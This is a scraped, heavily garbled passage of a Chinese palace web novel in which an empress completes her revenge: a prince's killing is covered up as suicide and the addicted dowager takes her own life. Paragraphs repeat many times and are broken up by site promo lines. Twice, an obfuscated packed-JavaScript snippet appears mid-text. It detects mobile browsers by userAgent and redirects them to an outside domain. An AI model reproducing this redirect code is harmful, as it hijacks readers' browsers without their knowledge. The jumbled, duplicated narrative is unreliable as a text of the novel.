乾风颔首,“属下问了,是火器营的一个侍卫,他的火铳在夜里走火了,好多人都看见了。” 裴墨染的眸子幽幽的,让人猜不透他的心情好坏,“贤王自尽,也不算朕失信于父皇。即刻将贤王运回贤王府,三日后把他风光大葬了。” “是。”乾风拱手。 “且慢。”诸葛贤的眼中闪过睿智的光,“陛下,贤王自戕,传出去有损皇家威严,三日后火葬吧。” 山洞中陷入了良久的沉默,好一会儿,裴墨染颔首。 …… 翌日。 云清婳醒来后胃口大开,她坐在桌前,兴致勃勃道:“飞霜,我想吃涮肉、烤羊腿、点心、炒菜、酒酿丸子……” 飞霜心疼地看着她。 主子又开始暴饮暴食了。 这不对劲。 主子向来克制,只有受了刺激才会如此恣意。 “主子,您的心情不好?”飞霜轻抚了抚她的背脊。 “不,我高兴啊!给姐姐报仇了,我怎会不高兴?”云清婳的双眼笑成了一对弯月牙。 美则美矣,可却那么的空洞。 就像是一尊美得惊心动魄的白瓷雕塑。 飞霜欲言又止,她立即下去宣膳。 少顷,各种菜肴连绵不绝地端进了营帐。 云清婳大快朵颐地吃了起来,她想哭,但更想笑。 姐姐,我做到了。 我终于报仇了! 伤害你的人,都遭到报应了! 裴墨染一晚上都心不在焉,他趁着诸葛贤精力不济时,抽空回了营帐。 看到云清婳的面前摆了满桌的菜,登时有些惊讶,“蛮蛮,你这是……?” “我饿了。”她捏着筷子边吃边说。 裴墨染吃惊的看着她,他知道她的胃口好,可却第一次亲眼看见她的胃口这么好。 他遥想之前因为赤阳王的事,蛮蛮跟他冷战数日,蛮蛮也是回了相府这般暴食。 “蛮蛮,发生什么了?”他担心的问。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 于人,所以自我了断?乾风拱手分析。 裴墨染眼中满是不认可。 他命人挪开裴云澈的手,看到裴云澈腹部的血洞时,他的瞳孔紧缩。 “方才可曾听到火器声?裴墨染的声音带着寒气。 乾风颔首,“属下问了,是火器营的一个侍卫,他的火铳在夜里走火了,好多人都看见了。 裴墨染的眸子幽幽的,让人猜不透他的心情好坏,“贤王自尽,也不算朕失信于父皇。即刻将贤王运回贤王府,三日后把他风光大葬了。 “是。乾风拱手。 “且慢。诸葛贤的眼中闪过睿智的光,“陛下,贤王自戕,传出去有损皇家威严,三日后火葬吧。 山洞中陷入了良久的沉默,好一会儿,裴墨染颔首。 …… 翌日。 云清婳醒来后胃口大开,她坐在桌前,兴致勃勃道:“飞霜,我想吃涮肉、烤羊腿、点心、炒菜、酒酿丸子…… 飞霜心疼地看着她。 主子又开始暴饮暴食了。 这不对劲。 主子向来克制,只有受了刺激才会如此恣意。 “主子,您的心情不好?飞霜轻抚了抚她的背脊。 “不,我高兴啊!给姐姐报仇了,我怎会不高兴? 美则美矣,可却那么的空洞。 就像是一尊美得惊心动魄的白瓷雕塑。 飞霜欲言又止,她立即下去宣膳。 少顷,各种菜肴连绵不绝地端进了营帐。 云清婳大快朵颐地吃了起来,她想哭,但更想笑。 姐姐,我做到了。 我终于报仇了! 伤害你的人,都遭到报应了! 裴墨染一晚上都心不在焉,他趁着诸葛贤精力不济时,抽空回了营帐。 看到云清婳的面前摆了满桌的菜,登时有些惊讶,“蛮蛮,你这是……? “我饿了。她捏着筷子边吃边说。 裴墨染吃惊的看着她,他知道她的胃口好,可却第一次亲眼看见她的胃口这么好。 他遥想之前因为赤阳王的事,蛮蛮跟他冷战数日,蛮蛮也是回了相府这般暴食。 “蛮蛮,发生什么了?他担心的问。 你的朋友正在书荒,快去帮帮他吧 于人,所以自我了断?乾风拱手分析。 裴墨染眼中满是不认可。 他命人挪开裴云澈的手,看到裴云澈腹部的血洞时,他的瞳孔紧缩。 “方才可曾听到火器声?裴墨染的声音带着寒气。 乾风颔首,“属下问了,是火器营的一个侍卫,他的火铳在夜里走火了,好多人都看见了。 裴墨染的眸子幽幽的,让人猜不透他的心情好坏,“贤王自尽,也不算朕失信于父皇。即刻将贤王运回贤王府,三日后把他风光大葬了。 “是。乾风拱手。 “且慢。诸葛贤的眼中闪过睿智的光,“陛下,贤王自戕,传出去有损皇家威严,三日后火葬吧。 山洞中陷入了良久的沉默,好一会儿,裴墨染颔首。 …… 翌日。 云清婳醒来后胃口大开,她坐在桌前,兴致勃勃道:“飞霜,我想吃涮肉、烤羊腿、点心、炒菜、酒酿丸子…… 飞霜心疼地看着她。 主子又开始暴饮暴食了。 这不对劲。 主子向来克制,只有受了刺激才会如此恣意。 “主子,您的心情不好? “不,我高兴啊!给姐姐报仇了,我怎会不高兴?云清婳的双眼笑成了一对弯月牙。 美则美矣,可却那么的空洞。 就像是一尊美得惊心动魄的白瓷雕塑。 飞霜欲言又止,她立即下去宣膳。 少顷,各种菜肴连绵不绝地端进了营帐。 云清婳大快朵颐地吃了起来,她想哭,但更想笑。 姐姐,我做到了。 我终于报仇了! 伤害你的人,都遭到报应了! 裴墨染一晚上都心不在焉,他趁着诸葛贤精力不济时,抽空回了营帐。 看到云清婳的面前摆了满桌的菜,登时有些惊讶,“蛮蛮,你这是……? “我饿了。她捏着筷子边吃边说。 裴墨染吃惊的看着她,他知道她的胃口好,可却第一次亲眼看见她的胃口这么好。 他遥想之前因为赤阳王的事,蛮蛮跟他冷战数日,蛮蛮也是回了相府这般暴食。 “蛮蛮,发生什么了?他担心的问。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 于人,所以自我了断?乾风拱手分析。 裴墨染眼中满 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“不,我高兴啊!给姐姐报仇了,我怎会不高兴?云清婳的双眼笑成了一对弯月牙。 美则美矣,可却那么的空洞。 就像是一尊美得惊心动魄的白瓷雕塑。 飞霜欲言又止,她立即下去宣膳。 少顷,各种菜肴连绵不绝地端进了营帐。 云清婳大快朵颐地吃了起来,她想哭,但更想笑。 姐姐,我做到了。 我终于报仇了! 伤害你的人,都遭到报应了! 裴墨染一晚上都心不在焉,他趁着诸葛贤精力不济时,抽空回了营帐。 看到云清婳的面前摆了满桌的菜,登时有些惊讶,“蛮蛮,你这是……? “我饿了。她捏着筷子边吃边说。 裴墨染吃惊的看着她,他知道她的胃口好,可却第一次亲眼看见她的胃口这么好。 他遥想之前因为赤阳王的事,蛮蛮跟他冷战数日,蛮蛮也是回了相府这般暴食。 “蛮蛮,发生什么了?他担心的问。 你的朋友正在书荒,快去帮帮他吧 于人,所以自我了断?”乾风拱手分析。 裴墨染眼中满是不认可。 他命人挪开裴云澈的手,看到裴云澈腹部的血洞时,他的瞳孔紧缩。 “方才可曾听到火器声?”裴墨染的声音带着寒气。 乾风颔首,“属下问了,是火器营的一个侍卫,他的火铳在夜里走火了,好多人都看见了。” 裴墨染的眸子幽幽的,让人猜不透他的心情好坏,“贤王自尽,也不算朕失信于父皇。即刻将贤王运回贤王府,三日后把他风光大葬了。” “是。”乾风拱手。 “且慢。”诸葛贤的眼中闪过睿智的光,“陛下,贤王自戕,传出去有损皇家威严,三日后火葬吧。” 山洞中陷入了良久的沉默,好一会儿,裴墨染颔首。 …… 翌日。 云清婳醒来后胃口大开,她坐在桌前,兴致勃勃道:“飞霜,我想吃涮肉、烤羊腿、点心、炒菜、酒酿丸子……” 飞霜心疼地看着她。 主子又开始暴饮暴食了。 这不对劲。 主子向来克制,只有受了刺激才会如此恣意。 “主子,您的心情不好?”飞霜轻抚了抚她的背脊。 “不,我高兴啊!给姐姐报仇了,我怎会不高兴?”云清婳的双眼笑成了一对弯月牙。 美则美矣,可却那么的空洞。 就像是一尊美得惊心动魄的白瓷雕塑。 飞霜欲言又止,她立即下去宣膳。 少顷,各种菜肴连绵不绝地端进了营帐。 云清婳大快朵颐地吃了起来,她想哭,但更想笑。 姐姐,我做到了。 我终于报仇了! 伤害你的人,都遭到报应了! 裴墨染一晚上都心不在焉,他趁着诸葛贤精力不济时,抽空回了营帐。 看到云清婳的面前摆了满桌的菜,登时有些惊讶,“蛮蛮,你这是……?” “我饿了。”她捏着筷子边吃边说。 裴墨染吃惊的看着她,他知道她的胃口好,可却第一次亲眼看见她的胃口这么好。 他遥想之前因为赤阳王的事,蛮蛮跟他冷战数日,蛮蛮也是回了相府这般暴食。 “蛮蛮,发生什么了?”他担心的问。 你的朋友正在书荒,快去帮帮他吧 于人所以自我了断?”乾风拱手分析。 裴墨染眼中满是不认可。 他命人挪开裴云澈的手看到裴云澈腹部的血洞时他的瞳孔紧缩。 “方才可曾听到火器声?”裴墨染的声音带着寒气。 乾风颔首“属下问了是火器营的一个侍卫他的火铳在夜里走火了好多人都看见了。” 裴墨染的眸子幽幽的让人猜不透他的心情好坏“贤王自尽也不算朕失信于父皇。即刻将贤王运回贤王府三日后把他风光大葬了。” “是。”乾风拱手。 “且慢。”诸葛贤的眼中闪过睿智的光“陛下贤王自戕传出去有损皇家威严三日后火葬吧。” 山洞中陷入了良久的沉默好一会儿裴墨染颔首。 …… 翌日。 云清婳醒来后胃口大开她坐在桌前兴致勃勃道:“飞霜我想吃涮肉、烤羊腿、点心、炒菜、酒酿丸子……” 飞霜心疼地看着她。 主子又开始暴饮暴食了。 这不对劲。 主子向来克制只有受了刺激才会如此恣意。 “主子您的心情不好?”飞霜轻抚了抚她的背脊。 “不我高兴啊!给姐姐报仇了我怎会不高兴?”云清婳的双眼笑成了一对弯月牙。 美则美矣可却那么的空洞。 就像是一尊美得惊心动魄的白瓷雕塑。 飞霜欲言又止她立即下去宣膳。 少顷各种菜肴连绵不绝地端进了营帐。 云清婳大快朵颐地吃了起来她想哭但更想笑。 姐姐我做到了。 我终于报仇了! 伤害你的人都遭到报应了! 裴墨染一晚上都心不在焉他趁着诸葛贤精力不济时抽空回了营帐。 看到云清婳的面前摆了满桌的菜 “我饿了。”她捏着筷子边吃边说。 裴墨染吃惊的看着她他知道她的胃口好可却第一次亲眼看见她的胃口这么好。 他遥想之前因为赤阳王的事蛮蛮跟他冷战数日蛮蛮也是回了相府这般暴食。 “蛮蛮发生什么了?”他担心的问。 你的朋友正在书荒,快去帮帮他吧 第394章 至亲至疏夫妻 “夫君为何这么问?”她挤出标志性的笑,反问。 “……”裴墨染凝视着她,眼底似乎有什么东西破碎。 裴墨染挪步到床榻边,他弯腰从榻下拿出了火铳。 他打开一看,火铳里少了一枚**。 裴墨染的脸倏地黑了,像是蒙了一层迷雾,让人猜不透。 “蛮蛮。”他的声音低沉,“昨晚我走后,你就睡下了吧?” 云清婳搛菜的手一顿,她露出讥诮的表情,“夫君,你说呢?” “对不住……”裴墨染没头没尾地道歉,“我昏了头了。” 她的脸上扬起了一丝嘲讽。 有话憋在心里的滋味不好受吧? 裴墨染,有本事你就问出来啊。 “夫君。”她戏谑地睨着他。 裴墨染像是受了惊吓,他的思绪被从天外猛地拉回来,“怎么了?” 她轻拍身边的座位,“坐下来用膳吧。” “我不饿……”裴墨染拿着火铳逃似地离开营帐。 云清婳饶有兴致地笑了,裴墨染现在的状态如同惊弓之鸟。 似乎害怕她摊牌呢。 真有意思! 帐外。 裴墨染将火铳交给乾风,“将这只火铳销毁,快!” “是。”乾风的眼底满是疑惑。 之前皇上、皇后明明对这只火铳甚是满意,为何突然要销毁? …… 云清婳用完膳后,肚子撑得圆滚滚的,她好像才感觉自己还活着。 飞霜福福身道:“主子,奴婢昨晚好像看见段南天了,他估计是害怕裴云澈对您不利,所以想暗中保护您。” 她的心咯噔一响。 这可是极大的破绽! 段南天怎能不跟她商量就乱来? “让他快逃,有多远逃多远,别回京城了!”云清婳的手砰地拍在桌案上。 她的破绽都在可控范围内,但段南天是不可控的破绽! 他作为前朝反贼,若是被锦衣卫抓住,必不会有好下场。 “是。”飞霜的神情变得紧张。 云清婳拍抚着胸口,她在心里祝愿段南天能逃过此劫。 …… 半个月后,春猎结束。 裴墨染带领众人班师回宫。 这段日子,裴云澈的‘自尽’跟没发生过一样,没人敢提。 但云清婳明显感觉到了裴墨染的阴郁、森冷。 他们相处时,似乎跟往常一样没有变化。 但又像是隔了一层纱,变得疏离了。 夜里,她常常能听见裴墨染的唉声叹气。 轿撵快行至坤宁宫时,云清婳倏地福至心灵,“儿子的礼物,你带了吗?” 裴墨染颔首,“那是自然,不然我还真当出尔反尔的爹爹?” “这还差不多!”她的嘴角上扬,“辞忧也得有礼物,不然她会不高兴的。” “我都记着呢。”他握着她的手。 云清婳不着痕迹的把手从他的手中抽走。 说更新,记住域名caixsü(请来才小 说 看最新章节 完整章节) 裴墨染抓了个空,望着她的手出神,但没有再勉强。 二人一进花厅,承基、辞忧就迫不及待朝他们扑了过来。 “娘亲,我们好想你。” 云清婳蹲下身,被他们抱了个满怀,她笑道:“你们真的想娘了吗?好像又吃胖了。” 辞忧揉揉红彤彤的眼睛,“因为我一想娘亲,就吃点心……” 云清婳忍俊不禁。 裴墨染酸溜溜道:“你们就只想娘,不想爹?” “……”辞忧、承基露出心虚的表情。 他们经常见不到爹,所以习惯了。 真的没怎么想爹。 他们心虚的手指绕着圈圈。 裴墨染已经习惯了,这两个小没良心的。 “爹给你们带礼物了。”裴墨染递给王显一个眼神。 王显拎进来了一个铁笼,铁笼里面装了一只花枝鼠。 是一只灰皮花枝鼠,肥肥的,跟一只小猫差不多大。 云清婳看后眼前一黑,胃里翻江倒海。 她责怨地瞥了裴墨染一眼,“谁让你逮这么大的?” “儿子喜欢啊。”他理直气壮地说。 云清婳白了他一眼。 承基两眼放光,迫不及待冲上前看,“哇!谢谢爹!” 辞忧小嘴撅得都快能挂酱油壶了,“……” 裴墨染早就发现了辞忧的不悦,他从身后拿出一个木雕,“爹给辞忧雕的

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516718|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小老虎。” “唔……”辞忧接过木雕脸上的委屈、失落消散了一半“我要真老虎。” “那可不行老虎野性难驯会伤了辞忧的。”裴墨染蹲下揉揉她的脑袋“不如爹爹给辞忧聘只狸奴回来?” 辞忧摇摇头委屈的鼻尖泛红泪水快溢出眼眶“不一样……” 裴墨染抱起她哄了又哄一个身高八尺的大男人温声细语、做小伏低地说尽了软话。 飞霜、王显见状不由得露出了笑。 “皇上好宠公主。”飞霜低声道。 云清婳在一旁看着父女二人脸上露出如释重负的笑。 裴墨染回头时恰好看见了她的表情 “呜呜呜……”辞忧在他怀里捂着小脸不停地啜泣。 云清婳走上前给辞忧擦眼泪她耐心地讲道理:“当初爹娘就跟你说了不能抓老虎回来爹娘没有骗你对吧?” “而且这尊木雕你爹是百忙之中才抽出时间雕的雕了好多日呢。哥哥的花枝鼠你爹只用半天就抓到了。” “可是可是……”辞忧哭得一抽一抽的“可是木雕……好丑。” 此话一出裴墨染的脸都绿了。 “哈哈……”云清婳忍不住笑出了声。 这个木雕的确很一般…… 又像猫又像狗总之不太像老虎。 裴墨染老脸一红他有些气急败坏“爹挤出吃饭睡觉的时间给你雕的你还嫌丑?” “唔……”辞忧看着手里的木雕更嫌弃了。 裴墨染委屈地看着云清婳“蛮蛮你还笑!” 云清婳笑得更欢了她道:“辞忧乖娘亲马上就让内务府派匠人给你雕个好看的。” “可是我还是想要真老虎。”辞忧瞥着承基怀里的花枝鼠眼泪**在鼻尖。 云清婳板着脸阴阳怪气地反问:“你看我像不像老虎?” 辞忧、裴墨染不约而同地点头。 云清婳:“???” 这对父女太欠了! 云清婳画了张图纸让内务府做了四肢、眼球可以活动的老虎木雕又在上面镶嵌了宝石没几个时辰后木雕被送来。 辞忧抱着木雕才终于消停。 裴墨染看着两个孩子脸上露出欣慰的笑。 他握住云清婳的手似乎是下定了某种决心。 他一字一顿的问道:“蛮蛮你有没有什么话要跟我说?” 第395章 大仇得报 云清婳嘲弄地看向他“没有。 他不甘心地追问“真的没有吗?” 她将手从他的手中收回来眼里一片冰冷让他倍感陌生。 “该说的我都说了。”她语焉不详。 裴墨染脸上的柔情似乎快要龟裂他眸光暗沉“我知道了。” 云清婳坐在梳妆台前让飞霜帮她卸去钗环。 透过铜镜她看见了裴墨染落寞的神情。 她知道裴墨染发现了真相。 毕竟这一次她留下的破绽那么多。 作为小说男主裴墨染不可能蠢到没发现。 心中的完美爱人变成了一个毒妇他这才发现自己从未认识过枕边人的真正模样他的心里一定很不好受吧? 但这仅仅是个开始。 更多的真相他还没挖掘出来呢。 裴墨染望着云清婳的背影他的微启唇瓣最后还是转身离开。 他负手离开了坤宁宫浑身萦绕着戾气脸上仿佛写着生人勿近四个字。 裴墨染落寞地走在宫道上仿佛世间又只剩下他一个人。 乾风匆匆走来“陛下属下怀疑贤王并非自尽而亡他的侧妃苏晴在骨灰里发现了一枚**。” 说着他从袖中拿出一方帕子里面包裹着**。 裴墨染从他手中接过**阴恻恻道:“朕说贤王就是自尽的你说呢?” 乾风背后的汗**倒竖衣摆仿佛被灌入了冷风“对贤王是自尽的。” 他满意地颔首“苏侧妃早在朕是肃王时就被确诊得了疯病她的话怎可采信?” “是。”乾风的额角流下豆大的汗珠“属下不日就让人送她去静心庵养病。” “嗯。”裴墨染紧握住手中的**眼中迸发出一丝无奈。 裴云澈死的那一夜发生了很多事。 尽管蛮蛮有不在场证据但每一件事都指向她。 那晚 说的域名caixs**(请来才小 说 看最新章节 完整章节)飞霜端过来的汤跟小菜绝对不是出自蛮蛮的手艺。 他不必尝光是闻味就能确定。 所以做菜的时间蛮蛮在干什么? 还有裴云澈腹部的伤口四周有烧焦的痕迹周身透着淡淡的**味。 与此同时他的火铳少了一枚**。 但这些,他不想查证。 只要真相没有水落石出,怀疑就不成立。 …… 云清婳稍作休息,就跟飞霜去了翊坤宫。 翊坤宫中,苏采薇蓬头垢面,瘦得颧骨凸起,头发稀疏地披散在脑后。 地上全是被她亲手拔下的落发。 她面对着墙壁,使劲儿砸墙,把脸上砸得全是血。 听见有人来,她连滚带爬地冲了上来,“求求你,再给我些药吧,求你了…… “我就吃一口,就一口…… 她对着云清婳,邦邦磕头,双手虔诚地作揖,“我好难受,浑身好像有蚂蚁在爬,求你了,给我点药吧…… 云清婳发出一声冷笑,“苏采薇,你要不要照照镜子?你现在还有脸说自己是苏家人吗? 苏采薇的身子一僵,她猛然抬头,眸子紧缩,“是你?! “有一件事,本宫觉得应该让你知道。云清婳居高临下地睨她,像在看一滩污秽。 苏采薇的身子难以自制的颤抖起来,她趴在地上,时不时抽搐,“你想说什么?你是不是又害苏家了?我们苏家还有什么值得你害的?我求你,你高抬贵手放过苏家好不好…… “裴云澈**。云清婳打断她的话。 “……苏采薇像是失去了声音,话音戛然而止,她僵住了。 云清婳饶有兴趣的看着苏采薇,她想看看苏采薇失去最疼爱的儿子后的反应。 苏采薇捂着胸口,似乎难以呼吸,“不,不……呜呜呜……云澈,云澈……你骗人,你骗人! “先帝下令了不准任何人动云澈,你怎么敢的?就算是墨染都不敢动云澈,你怎么敢的?你一定在骗我! 云清婳的眼里满是厌恶,“只准你们**,不准报应落在你们身上?天底下哪有这么好的事?! “你骗我、你骗我……云澈一定好好的!苏采薇哭着,她身体抽搐得更厉害了。 云清婳的眼中扬起了红烟,“呵,我也很惊讶,你的儿子裴云澈为了帮我抹去痕迹,居然用**捅进了枪伤里。 “呜呜云澈,云澈你太傻了,呕……苏采薇在大悲之下,居然吐了。 忽然,她的呼吸又急促起来,“求你了,我太难受了,给我药吧,我已经好几天没吃了…… 她对云清婳作揖,像是摇尾乞怜的狗。 连裴云澈的仇恨都不顾了。 “求你了,求你了,清婳,从前都是我不好,我错了,我真的知道错了,你可怜可怜我…… 云清婳跟飞霜的神色更加阴狠。 若不是因为药,这声忏悔,恐怕这辈子都不会从苏采薇的嘴里说出来。 “那药很贵!你也配吃?飞霜奚落道。 云清婳红着眼,哑声道:“你对不起的人数不胜数,姐姐、裴墨染、承基、辞忧……你若真的抱歉,去地下忏悔吧!药,永远都不会有了! 语毕,云清婳转身离开。 她跟飞霜才踏出翊坤宫不久,寝殿里面传出一声巨响。 咚—— 云清婳回头看了一眼,眼中闪过复仇的快感。 这是最后一个。 大功告成了! 一个侍卫匆匆进去,然后又跑了出来,“皇后娘娘不好了,太后方才疯病发作,撞墙自尽了。 云清婳扯出一抹诡异的笑,她毫不遮掩,“跟皇上禀报吧。 “……是。侍卫诧异的看着她,讷讷地离开了。 云清婳不动声色地用手揩去眼角的泪,她的嘴角却是上扬的。 “主子,谢姑娘的仇报了…… “嗯!云清婳颔首。 …… 经过宗人府时,云清婳看见了苏晴。 苏晴正被太监、宫女搀扶着,她在拼命挣扎,“放开我,我没疯,我没疯! “你们别欺人太甚!连贤王殿下的遗孀你们都不放过吗? “别碰我!不许碰我! 云清婳远远看着苏晴,良久才回忆起来她的身份。 她抬起手。 “落轿。飞霜命令。 宫人放下轿撵。 飞霜立即扶云清婳下来。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 忽然 她对云清婳作揖像是摇尾乞怜的狗。 连裴云澈的仇恨都不顾了。 “求你了求你了清婳从前都是我不好我错了我真的知道错了你可怜可怜我……” 云清婳跟飞霜的神色更加阴狠。 若不是因为药这声忏悔恐怕这辈子都不会从苏采薇的嘴里说出来。 “那药很贵!你也配吃?”飞霜奚落道。 云清婳红着眼哑声道:“你对不起的人数不胜数姐姐、裴墨染、承基、辞忧……你若真的抱歉去地下忏悔吧!药永远都不会有了!” 语毕云清婳转身离开。 她跟飞霜才踏出翊坤宫不久寝殿里面传出一声巨响。 咚—— 云清婳回头看了一眼眼中闪过复仇的快感。 这是最后一个。 大功告成了! 一个侍卫匆匆进去然后又跑了出来“皇后娘娘不好了太后方才疯病发作撞墙自尽了。” 云清婳扯出一抹诡异的笑她毫不遮掩“跟皇上禀报吧。” “……是。”侍卫诧异的看着她讷讷地离开了。 云清婳不动声色地用手揩去眼角的泪她的嘴角却是上扬的。 “主子谢姑娘的仇报了……” “嗯!”云清婳颔首。 …… 经过宗人府时云清婳看见了苏晴。 苏晴正被太监、宫女搀扶着她在拼命挣扎“放开我我没疯我没疯!” “你们别欺人太甚!连贤王殿下的遗孀你们都不放过吗?” “别碰我!不许碰我!” 云清婳远远看着苏晴良久才回忆起来她的身份。 她抬起手。 “落轿。”飞霜命令。 宫人放下轿撵。 飞霜立即扶云清婳下来。 你的朋友正在书荒,快去帮帮他吧 忽然,她的呼吸又急促起来,“求你了,我太难受了,给我药吧,我已经好几天没吃了…… 她对云清婳作揖,像是摇尾乞怜的狗。 连裴云澈的仇恨都不顾了。 “求你了,求你了,清婳,从前都是我不好,我错了,我真的知道错了,你可怜可怜我…… 云清婳跟飞霜的神色更加阴狠。 若不是因为药,这声忏悔,恐怕这辈子都不会从苏采薇的嘴里说出来。 “那药很贵!你也配吃?飞霜奚落道。 云清婳红着眼,哑声道:“你对不起的人数不胜数,姐姐、裴墨染、承基、辞忧……你若真的抱歉,去地下忏悔吧!药,永远都不会有了! 语毕,云清婳转身离开。 她跟飞霜才踏出翊坤宫不久,寝殿里面传出一声巨响。 咚—— 云清婳回头看了一眼,眼中闪过复仇的快感。 这是最后一个。 大功告成了! 一个侍卫匆匆进去,然后又跑了出来,“皇后娘娘不好了,太后方才疯病发作,撞墙自尽了。 云清婳扯出一抹诡异的笑,她毫不遮掩,“跟皇上禀报吧。 “……是。侍卫诧异的看着她,讷讷地离开了。 云清婳不动声色地用手揩去眼角的泪,她的嘴角却是上扬的。 “主子,谢姑娘的仇报了…… “嗯!云清婳颔首。 …… 经过宗人府时,云清婳看见了苏晴。 苏晴正被太监、宫女搀扶着,她在拼命挣扎,“放开我,我没疯,我没疯! “你们别欺人太甚!连贤王殿下的遗孀你们都不放过吗? “别碰我!不许碰我! 云清婳远远看着苏晴,良久才回忆起来她的身份。 她抬起手。 “落轿。飞霜命令。 宫人放下轿撵。 飞霜立即扶云清婳下来。 你的朋友正在书荒,快去帮帮他吧 忽然,她的呼吸又急促起来,“求你了,我太难受了,给我药吧,我已经好几天没吃了……” 她对云清婳作揖,像是摇尾乞怜的狗。 连裴云澈的仇恨都不顾了。 “求你了,求你了,清婳,从前都是我不好,我错了,我真的知道错了,你可怜可怜我……” 云清婳跟飞霜的神色更加阴狠。 若不是因为药,这声忏悔,恐怕这辈子都不会从苏采薇的嘴里说出来。 “那药很贵!你也配吃?”飞霜奚落道。 云清婳红着眼,哑声道:“你对不起的人数不胜数,姐姐、裴墨染、承基、辞忧……你若真的抱歉,去地下忏悔吧!药,永远都不会有了!” 语毕,云清婳转身离开。 她跟飞霜才踏出翊坤宫不久,寝殿里面传出一声巨响。 咚—— 云清婳回头看了一眼,眼中闪过复仇的快感。 这是最后一个。 大功告成了! 一个侍卫匆匆进去,然后又跑了出来,“皇后娘娘不好了,太后方才疯病发作,撞墙自尽了。” 云清婳扯出一抹诡异的笑,她毫不遮掩,“跟皇上禀报吧。” “……是。”侍卫诧异的看着她,讷讷地离开了。 云清婳不动声色地用手揩去眼角的泪,她的嘴角却是上扬的。 “主子,谢姑娘的仇报了……” “嗯!”云清婳颔首。 …… 经过宗人府时,云清婳看见了苏晴。 苏晴正被太监、宫女搀扶着,她在拼命挣扎,“放开我,我没疯,我没疯!” “你们别欺人太甚!连贤王殿下的遗孀你们都不放过吗?” “别碰我!不许碰我!” 云清婳远远看着苏晴,良久才回忆起来她的身份。 她抬起手。 “落轿。”飞霜命令。 宫人放下轿撵。 飞霜立即扶云清婳下来。 听说和异性朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516719|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友讨论本书情节的,很容易发展成恋人哦 忽然,她的呼吸又急促起来,“求你了,我太难受了,给我药吧,我已经好几天没吃了……” 她对云清婳作揖,像是摇尾乞怜的狗。 连裴云澈的仇恨都不顾了。 “求你了,求你了,清婳,从前都是我不好,我错了,我真的知道错了,你可怜可怜我……” 云清婳跟飞霜的神色更加阴狠。 若不是因为药,这声忏悔,恐怕这辈子都不会从苏采薇的嘴里说出来。 “那药很贵!你也配吃?”飞霜奚落道。 云清婳红着眼,哑声道:“你对不起的人数不胜数,姐姐、裴墨染、承基、辞忧……你若真的抱歉,去地下忏悔吧!药,永远都不会有了!” 语毕,云清婳转身离开。 她跟飞霜才踏出翊坤宫不久,寝殿里面传出一声巨响。 咚—— 云清婳回头看了一眼,眼中闪过复仇的快感。 这是最后一个。 大功告成了! 一个侍卫匆匆进去,然后又跑了出来,“皇后娘娘不好了,太后方才疯病发作,撞墙自尽了。” 云清婳扯出一抹诡异的笑,她毫不遮掩,“跟皇上禀报吧。” “……是。”侍卫诧异的看着她,讷讷地离开了。 云清婳不动声色地用手揩去眼角的泪,她的嘴角却是上扬的。 “主子,谢姑娘的仇报了……” “嗯!”云清婳颔首。 …… 经过宗人府时,云清婳看见了苏晴。 苏晴正被太监、宫女搀扶着,她在拼命挣扎,“放开我,我没疯,我没疯!” “你们别欺人太甚!连贤王殿下的遗孀你们都不放过吗?” “别碰我!不许碰我!” 云清婳远远看着苏晴,良久才回忆起来她的身份。 她抬起手。 “落轿。”飞霜命令。 宫人放下轿撵。 飞霜立即扶云清婳下来。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 忽然她的呼吸又急促起来“求你了我太难受了给我药吧我已经好几天没吃了……” 她对云清婳作揖像是摇尾乞怜的狗。 连裴云澈的仇恨都不顾了。 “求你了求你了清婳从前都是我不好我错了我真的知道错了你可怜可怜我……” 云清婳跟飞霜的神色更加阴狠。 若不是因为药这声忏悔恐怕这辈子都不会从苏采薇的嘴里说出来。 “那药很贵!你也配吃?”飞霜奚落道。 云清婳红着眼哑声道:“你对不起的人数不胜数姐姐、裴墨染、承基、辞忧……你若真的抱歉去地下忏悔吧!药永远都不会有了!” 语毕云清婳转身离开。 她跟飞霜才踏出翊坤宫不久寝殿里面传出一声巨响。 咚—— 云清婳回头看了一眼眼中闪过复仇的快感。 这是最后一个。 大功告成了! 一个侍卫匆匆进去然后又跑了出来“皇后娘娘不好了太后方才疯病发作撞墙自尽了。” 云清婳扯出一抹诡异的笑 “……是。”侍卫诧异的看着她讷讷地离开了。 云清婳不动声色地用手揩去眼角的泪她的嘴角却是上扬的。 “主子谢姑娘的仇报了……” “嗯!”云清婳颔首。 …… 经过宗人府时云清婳看见了苏晴。 苏晴正被太监、宫女搀扶着她在拼命挣扎“放开我我没疯我没疯!” “你们别欺人太甚!连贤王殿下的遗孀你们都不放过吗?” “别碰我!不许碰我!” 云清婳远远看着苏晴良久才回忆起来她的身份。 她抬起手。 “落轿。”飞霜命令。 宫人放下轿撵。 飞霜立即扶云清婳下来。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 忽然她的呼吸又急促起来“求你了我太难受了给我药吧我已经好几天没吃了……” 她对云清婳作揖像是摇尾乞怜的狗。 连裴云澈的仇恨都不顾了。 “求你了求你了清婳从前都是我不好我错了我真的知道错了你可怜可怜我……” 云清婳跟飞霜的神色更加阴狠。 